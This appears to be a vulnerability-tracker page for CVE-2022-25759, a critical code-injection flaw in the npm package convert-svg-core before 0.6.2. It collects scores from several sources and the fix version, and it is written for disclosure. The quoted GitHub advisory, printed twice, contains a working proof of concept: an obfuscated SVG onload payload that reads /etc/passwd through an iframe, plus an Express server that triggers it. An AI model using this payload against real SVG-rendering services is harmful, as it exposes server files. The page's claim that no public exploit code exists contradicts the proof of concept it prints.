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CVE-2022-25759

Remote Code Injection

9.9 CriticalFix available

The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

11.5%Up 10.4 points since Jul 23, 2022
90%50%10%1%

What each source reports

CVE List Score used 9.9

Remote Code Injection

The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.

Record
CVE-2022-25759
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P
Updated
2026-11-02
EUVDEUVD-2022-6244 9.9

The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.

Record
EUVD-2022-6244
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P
Updated
2026-11-03
GitHub AdvisoriesGHSA-5gxc-fxcr-9326 9.8

convert-svg-core vulnerable to remote code injection

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.

PoC

Payload

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

where the id attribute is the base 64-encoded form of

document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

Attack

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});
Record
GHSA-5gxc-fxcr-9326
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 9.9

The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.

Record
CVE-2022-25759
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 9.9

Remote Code Injection

The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.

Record
CVE-2022-25759
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P
Updated
2026-11-02
OSVGHSA-5gxc-fxcr-9326 9.8

convert-svg-core vulnerable to remote code injection

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.

PoC

Payload

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

where the id attribute is the base 64-encoded form of

document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

Attack

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});
Record
GHSA-5gxc-fxcr-9326
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
convert-svg-core
npm
before 0.6.2
0.6.2

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

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In short

CVE-2022-25759 is a critical vulnerability (CVSS 9.9) in Convert-svg-core Project Convert-svg-core, published July 22, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 11.5%, the 96th percentile. Fixed in convert-svg-core 0.6.2.

References

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